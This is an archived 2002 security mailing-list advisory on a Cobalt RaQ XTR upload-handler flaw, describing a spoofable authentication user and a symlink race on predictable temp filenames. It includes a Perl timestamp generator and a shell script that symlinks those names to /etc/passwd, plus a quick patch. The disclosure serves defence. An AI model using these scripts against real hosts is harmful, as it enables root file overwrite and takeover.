

# [UNIX] Cobalt Raq XTR Combination Attack (Remote/Local)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0054.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 03/11/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Mon, 11 Mar 2002 13:18:09 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

-----

Cobalt Raq XTR Combination Attack (Remote/Local)

---

## SUMMARY

Due to an authentication bug in the upload Handler, users can write files to the filesystem as any valid user on the system, including root.

## DETAILS

Some areas of the Cobalt XTR UI are not .htaccess protected; this allows access to MultiFileUpload.php remotely.

MultiFileUploadHandler.php handles upload request posted from MultiFileUpload.php. A vulnerability in this script allows remote attackers to write arbitrary files on the system with root privileges.

Exploitation:

Shell access is required to exploit this vulnerability.

----- snippet of MultiFileUpload.php -----

```
// get uid
$pwnam = posix_getpwnam($PHP_AUTH_USER);
$suid = $pwnam["uid"];
// get filename
$baseName = base64_encode(time());
```

## Securiteam: [UNIX] Cobalt Raq XTR Combination Attack (Remote/Local)

```
$fullName = "/tmp/" . $baseName;
```

---

As you can see, user information is read to \$pwnam, which is the return value of function posix\_getpwnam(\$PHP\_AUTH\_USER);  
PHP\_AUTH\_USER can be modified to each desired value (such as 'root').

The next problem lies in the base64 encoding of the filename, which is predictable. If you can predict the base64 filenames for example the next ten minutes (time()), and create symbolic links to /etc/passwd, you will have exactly ten minutes to exploit the machine.

After the symlinks have been created (script to create base64 symlink is below), you will need to upload your modified target file (script set to /etc/passwd).

You can upload your file at:

<https://:81/uifc/MultiFileUploadHandler.php>

(if you know how forms work, and understand the authentication error).

Quick patch:

Create an .htaccess file in the uifc directory.

Vendor status:

Sun Cobalt was notified.

Exploit Code:

```
----- local-timerace-xtr.pl -----  
#!/usr/bin/perl  
# mass base64 time encoder  
# part of Cobalt UIFC XTR remote/local combination attack  
  
use MIME::Base64;  
$evil_time = time();  
  
$exploit_secs = 10; # time in seconds you got to exploit this bug (race)  
  
for($i=1;$i<=$exploit_secs;$i++) {  
    $evil_time = $evil_time+1;  
    $evilstr = encode_base64($evil_time);  
    print $evilstr;  
}
```

---

```
----- symlink-time.sh -----  
#!/bin/sh  
#Script for creating symlinks from output of local-timerace-xtr  
  
for foo in `perl -x xtr-timerace-xtr.pl`  
do  
ln -s /etc/passwd $foo  
done
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[grazer@digit-labs.org](mailto:grazer@digit-labs.org)>  
Wouter ter Maat.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] Vulnerabilities in Multiple RADIUS Clients and Servers"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)